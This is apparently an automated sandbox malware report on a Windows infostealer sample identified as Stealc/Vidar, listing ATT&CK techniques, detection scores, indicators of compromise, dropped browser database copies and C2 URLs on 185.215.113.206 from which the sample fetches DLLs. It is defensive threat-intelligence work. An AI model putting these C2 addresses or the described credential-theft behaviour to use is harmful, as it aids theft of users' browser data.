Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	34 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/0d60be0de163924d/nss3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/softokn3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/freebl3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/msvcp140.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dll	true	unknown
http://185.215.113.206/e2b1563c6670f193.php	true	unknown
http://185.215.113.206/0d60be0de163924d/mozglue.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dllC1.	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpPR	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpP	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/nss3.dll#R	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dll1)	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1897387145.000000001D3CC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpH	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpmainnet	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	JJECAAEHCFIEBGCBGHIE.0.dr	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php=C	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dll3.206	file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpBFHJKJEBFCBFHDAEG_	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/softokn3.dll;	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dlla.	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phph	file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2072653907.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpam	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpve	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2073020222.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	KEGDBFIJ.0.dr	false		unknown
http://185.215.113.206/e2b1563c6670f193.php6)	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpc=	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phps	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpt	file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1897387145.000000001D3CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php;Cj3%	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php-	file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	KEGDBFIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dllES	file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpCO	file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543206
Start date and time:	2024-10-27 12:12:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 74 Number of non-executed functions: 52
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	SecuriteInfo.com.Win32.Evo-gen.20836.29869.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DAEBFHJKJEBFCBFHDAEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGIJECGDGCBKECAKFBGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDHCAAKECFIDHIEBAKFCGCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDBKFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDBKFCAAEBFIDHDBAECFIEGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECAAEHCFIEBGCBGHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KEGDBFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHJJDHJEGHJKECBGCFHDBFIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
